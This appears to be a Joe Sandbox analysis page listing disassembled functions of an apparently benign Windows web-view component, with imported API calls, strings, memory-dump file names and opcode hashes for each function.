Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Window$ErrorLast$PointsUpdate
String ID:
API String ID: 3689522800-0
Opcode ID: 9dc0050f130e60fee7c19759e86ed600fae5d6dce2fb5ba9406a61057315a4ea
Instruction ID: af33f114cbe5495fb11b0ab00fdacaf98e57474062a8023dfa38ace353135fa6
Opcode Fuzzy Hash: 9dc0050f130e60fee7c19759e86ed600fae5d6dce2fb5ba9406a61057315a4ea
Instruction Fuzzy Hash: 0E21E632B112089BDB18AB69EC46B7E7769EB45710F45823AEA00EF2C0DA709C4087A4

Function 003EEF50 Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 003EEF8A
VariantChangeType.OLEAUT32(00000000,?,00000000,00000016), ref: 003EEFB2
VariantClear.OLEAUT32(00000000), ref: 003EEFC3
_com_issue_error.COMSUPP ref: 003EEFE6
VariantClear.OLEAUT32 ref: 003EEFF1

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_com_issue_error
String ID:
API String ID: 1212853886-0
Opcode ID: 5ecd299c4ce41e0ecbeac9e21b21b963b17db2624a96bf27ce84fe606815ee3b
Instruction ID: e917be332f313c1c6a240bd6431aab7dd30bf0f625ae27ae6d53840eaae03aa8
Opcode Fuzzy Hash: 5ecd299c4ce41e0ecbeac9e21b21b963b17db2624a96bf27ce84fe606815ee3b
Instruction Fuzzy Hash: 5E1182719002699BCF11DFA5DC09BEEB7B8FB08710F11066AF906E3280E778A9008B54

Function 00425CFF Relevance: 7.5, APIs: 5, Instructions: 37COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(00464694), ref: 00425D09
RtlLeaveCriticalSection.NTDLL(00464694), ref: 00425D3C
RtlWakeAllConditionVariable.NTDLL ref: 00425DB3
SetEvent.KERNEL32(?,00468BFC,00000000), ref: 00425DBD
ResetEvent.KERNEL32(?,00468BFC,00000000), ref: 00425DC9

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: CriticalEventSection$ConditionEnterLeaveResetVariableWake
String ID:
API String ID: 3916383385-0
Opcode ID: a4d7bf17308a6932b9b0123d5e586d96897f9aeae6bc94f5ae367e7565c17200
Instruction ID: f47f689fa3752821764c6dd8cb8a8123b7c86147cbdeb28ab0ced11fdb5eca25
Opcode Fuzzy Hash: a4d7bf17308a6932b9b0123d5e586d96897f9aeae6bc94f5ae367e7565c17200
Instruction Fuzzy Hash: 45016935604620DBCB40AF58FC489D93BA5EB4B321701403AE98683320DBBA1850CB9E

Function 0040D3C0 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 270COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,?,?,0043C8A0,000000FF), ref: 0040D496

Strings

gfff, xrefs: 0040D3D7
gfff, xrefs: 0040D4F6

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: FreeLibrary
String ID: gfff$gfff
API String ID: 3664257935-3084402119
Opcode ID: 65b6dacbda685d9c02bc02ce79e6de3c895264d81f6649f8fa1f63dbc275bed8
Instruction ID: 3e3ede0adb91e5c4c5c10ef56fe66979b5266e33e24a133606173c6da68c702f
Opcode Fuzzy Hash: 65b6dacbda685d9c02bc02ce79e6de3c895264d81f6649f8fa1f63dbc275bed8
Instruction Fuzzy Hash: C3A1D071A009019BE71CCF68D998B6AB7A5FF45314F14422EE41AC7BD0D738F964CB88

Function 003E5D00 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 190threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 003E68E2
IsDebuggerPresent.KERNEL32 ref: 003E69EC
OutputDebugStringW.KERNEL32(00000000), ref: 003E6A78

Strings

wil, xrefs: 003E690E

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: CurrentDebugDebuggerOutputPresentStringThread
String ID: wil
API String ID: 4268342597-1589926490
Opcode ID: bd77af5e1b1f97c336e87d1976f8b351dc962baa5fc393ed48c4670262048c09
Instruction ID: 69057e2ce34c678108e7a59efbd7621c365bb08abb40bf2afa19a24bd27b80fa
Opcode Fuzzy Hash: bd77af5e1b1f97c336e87d1976f8b351dc962baa5fc393ed48c4670262048c09
Instruction Fuzzy Hash: D471BFB0D042A99BDB25CF66DC417E9B7F4BB19344F0442E9E409A32E1EB709E84CF55

Function 003E5A40 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 187threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 003E5B07
IsDebuggerPresent.KERNEL32 ref: 003E5C2D
OutputDebugStringW.KERNEL32(00000000), ref: 003E5CB9

Strings

E:\B\T\d30760c8-f36a-4525-bc41-ffb9fa48b740\McWebViewContainer\packages\Microsoft.Windows.ImplementationLibrary.1.0.220201.1\include\wil\resource.h, xrefs: 003E5B3F

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: CurrentDebugDebuggerOutputPresentStringThread
String ID: E:\B\T\d30760c8-f36a-4525-bc41-ffb9fa48b740\McWebViewContainer\packages\Microsoft.Windows.ImplementationLibrary.1.0.220201.1\include\wil\resource.h
API String ID: 4268342597-2755879635
Opcode ID: 3bcd7ff38c0f0caa38754b5a0440f45b959debd42521bd1dfdc8464b4b45992a
Instruction ID: 7fc05a31c4b371fe0ac500e3f8e09489b96a814073ddd13671f1151444b63737
Opcode Fuzzy Hash: 3bcd7ff38c0f0caa38754b5a0440f45b959debd42521bd1dfdc8464b4b45992a
Instruction Fuzzy Hash: EE717DB09007A99BDB25CF65CC407D9B7F8AB09308F1446E9E409E32E1E7749AC4CF62

Function 003F5F10 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 003F6043
__Cnd_destroy_in_situ.LIBCPMT ref: 003F607B
__Mtx_destroy_in_situ.LIBCPMT ref: 003F6084

Strings

P`?, xrefs: 003F605D

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: Cnd_destroy_in_situConcurrency::cancel_current_taskMtx_destroy_in_situ
String ID: P`?
API String ID: 3272402957-1080471864
Opcode ID: 44a94d76672ee20fba1cabc7053207d8716def74b84213f7f030b4e7cd71e2e1
Instruction ID: 50ac9da0f7f4d9e2e778fa5fc659b29988868c3309b599b367e95d1e319b1461
Opcode Fuzzy Hash: 44a94d76672ee20fba1cabc7053207d8716def74b84213f7f030b4e7cd71e2e1
Instruction Fuzzy Hash: 27518771B047088BD725DE78A882A3AB3E8EF40310F64063EF652C7782DB75D9448791

Function 00408190 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 155threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 004081E5
GetCurrentThread.KERNEL32 ref: 0040822F
CloseHandle.KERNEL32 ref: 00408257

Strings

failed to initialize COM, xrefs: 00408316

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: CurrentThread$CloseHandle
String ID: failed to initialize COM
API String ID: 1930902833-2564502714
Opcode ID: 75f386daee651d70121c4cc12fe4726ee70a4fae55fb0bd7af8b2a4d0eb73c40
Instruction ID: 75256f8ddee4319e6a130c82454efd00c60d865174c68bf7a6c10194aca821bd
Opcode Fuzzy Hash: 75f386daee651d70121c4cc12fe4726ee70a4fae55fb0bd7af8b2a4d0eb73c40
Instruction Fuzzy Hash: A7519E71D006089FDB10DFA4C945BEEBBF4FF58704F20812EE905AB291EB795A48CB95

Function 00412AC0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 130libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?), ref: 00412AF1
GetLastError.KERNEL32 ref: 00412C0D

Strings

C:\jenkins\workspace\sumer_Cardinal_aviary-sdk_master\src\trust\lib\trust_impl.cpp, xrefs: 00412B7D
failed to get exported function '%hs', xrefs: 00412B3F

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: C:\jenkins\workspace\sumer_Cardinal_aviary-sdk_master\src\trust\lib\trust_impl.cpp$failed to get exported function '%hs'
API String ID: 199729137-3740449315
Opcode ID: f6ce1fd7f25fbd92de7f5bc38c9daef9e4d57a828d899a1ad96faea07e254fa1
Instruction ID: becbe6e2c98614305e341a5cb413f5a6f5e46a401238c6c5f897a16bfe553bf3
Opcode Fuzzy Hash: f6ce1fd7f25fbd92de7f5bc38c9daef9e4d57a828d899a1ad96faea07e254fa1
Instruction Fuzzy Hash: D341E370E01209AFDF04CFA9D9457DEBBB1FF45314F10816AE810AB381E7B8A954CB98

Function 003EDB00 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 128COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32(?), ref: 003EDBB5
SysStringLen.OLEAUT32(00000000), ref: 003EDBBD

Part of subcall function 003EDD10: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 003EDCD8

Strings

ICommunicator::send_message, xrefs: 003EDB5C
framework, xrefs: 003EDB67

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: String$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: ICommunicator::send_message$framework
API String ID: 3379692669-3514916642
Opcode ID: 2ca5daca235b5c910801b52a92d334b0d27b8c6a725a456a6e9a04b32df34cdd
Instruction ID: ac26333c02a4588a0b4bf3a34708718d5f82509611166e53865892d18e47fbb4
Opcode Fuzzy Hash: 2ca5daca235b5c910801b52a92d334b0d27b8c6a725a456a6e9a04b32df34cdd
Instruction Fuzzy Hash: 3741F270D042A8EFDF12DBA5D945BDEBBB5EF09304F24425AE80577381E7B51900CBA5

Function 00411780 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 121timeCOMMON

Download Yara Rule

APIs

QueryUnbiasedInterruptTime.KERNEL32(?,A05DD77D), ref: 00411683
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004116EC

Strings

trust, xrefs: 00411715
validate_file, xrefs: 0041170F

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: InterruptQueryTimeUnbiasedUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: trust$validate_file
API String ID: 2902542638-769455193
Opcode ID: f94cc39cfc9bcd90f01ee91de3d780d901d72be70d17f317c0f790f8f1ebf863
Instruction ID: 5592916590ab040cd813bf140895a0c7f09d648d12c345a200b905d046d790a8
Opcode Fuzzy Hash: f94cc39cfc9bcd90f01ee91de3d780d901d72be70d17f317c0f790f8f1ebf863
Instruction Fuzzy Hash: 1141B931E00208AFCB14CFA9D984E9EBBF5EF4A710F10852AF515A73A1E735A850CB58

Function 0043A44D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84COMMON

Download Yara Rule

APIs

FindMITargetTypeInstance.LIBVCRUNTIME ref: 0043A4B9
PMDtoOffset.LIBCMT ref: 0043A4DF

Strings

Bad dynamic_cast!, xrefs: 0043A521

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: FindInstanceOffsetTargetType
String ID: Bad dynamic_cast!
API String ID: 2363274979-2956939130
Opcode ID: 4164884a34979ff2bd11579d28e83fcd955ee1d1dfaac7c3f42eab862466ede4
Instruction ID: 8b1297ff43ea39998ac4278e29afe322d639ca0f2bb3670cdb0fe5edd3029484
Opcode Fuzzy Hash: 4164884a34979ff2bd11579d28e83fcd955ee1d1dfaac7c3f42eab862466ede4
Instruction Fuzzy Hash: C7212931A40205EFCF04DF64C80696E7774FB98314F20921FEC5597281E738ED11879A

Function 003E7260 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00427210: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,00460EFC,00000017,0042372F,?,004589A4,?), ref: 00427270

___std_exception_copy.LIBVCRUNTIME ref: 003E72BF

Strings

0q>, xrefs: 003E72C4
@ >, xrefs: 003E72B1
0q>, xrefs: 003E72DB

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: 0q>$0q>$@ >
API String ID: 3109751735-3163198155
Opcode ID: f247eb23821a48771381be2656223ef60e67b6e9e3b052128662fe558fc26af8
Instruction ID: e1f6172a61cda98705fdde0f35e9d9f8386db5230a60a4a2ab38e73906224bd3
Opcode Fuzzy Hash: f247eb23821a48771381be2656223ef60e67b6e9e3b052128662fe558fc26af8
Instruction Fuzzy Hash: 90018FB2600709AFC301EFA5D841886F7ECFF593107108A2BF62887651FB74E528CB98

Function 003E37C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,00000000,?), ref: 003E37E9
HeapFree.KERNEL32(00000000,00000000,?), ref: 003E381A
___std_exception_destroy.LIBVCRUNTIME ref: 003E3838

Strings

@ >, xrefs: 003E3831

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: FreeHeap$___std_exception_destroy
String ID: @ >
API String ID: 2050543389-3678301659
Opcode ID: 5fa7e72d57e2b0e1ed13cc7664bcc5859c4b125160482bea402f1c222902df3a
Instruction ID: 33b60d6fee8d6c67478ffddcf7997e8f57f31b0a37e944b96b470843a17fcc3c
Opcode Fuzzy Hash: 5fa7e72d57e2b0e1ed13cc7664bcc5859c4b125160482bea402f1c222902df3a
Instruction Fuzzy Hash: 3F1104B5601716ABE7109F26EC48B12BB68FF42325F114228F60087690D7B8FC28CBE0

Function 003FE7F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52libraryCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000,00000000,?,00411CDE,00000000,00000000,0000003C,0000000F,A05DD77D,?,000000A8), ref: 003FE800
LoadLibraryW.KERNEL32 ref: 003FE817
GetLastError.KERNEL32 ref: 003FE82C

Strings

`F, xrefs: 003FE867

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

Associated: 0000000C.00000002.3832723726.00000000003E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.000000000045C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3832775154.0000000000466000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835486938.0000000000467000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000468000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.0000000000481000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835535745.000000000048A000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000C.00000002.3835687294.000000000048F000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_3e0000_PeFIvJrY.jbxd

Similarity

API ID: ErrorLast$LibraryLoad
String ID: `F
API String ID: 1136134869-510860190
Opcode ID: 02fbe770a4ac2aa8b23c5c59aa6e5085aec8f34126d19a1e892c7792ea2694f1
Instruction ID: 858c2c246f4d39a708d822f308bc4982e9749b720751373080d25441086fd49e
Opcode Fuzzy Hash: 02fbe770a4ac2aa8b23c5c59aa6e5085aec8f34126d19a1e892c7792ea2694f1
Instruction Fuzzy Hash: 9C115A712047518FD360DF1DE808756BBE4EB85B15F15847EE599C7660D3B8E888CBA0

Function 00424822 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0042482E
__Mtx_unlock.LIBCPMT ref: 0042486F
__Cnd_broadcast.LIBCPMT ref: 00424877

Strings

0@F, xrefs: 00424829

Memory Dump Source

Source File: 0000000C.00000002.3832775154.00000000003E1000.00000040.00000001.01000000.00000004.sdmp, Offset: 003E0000, based on PE: true

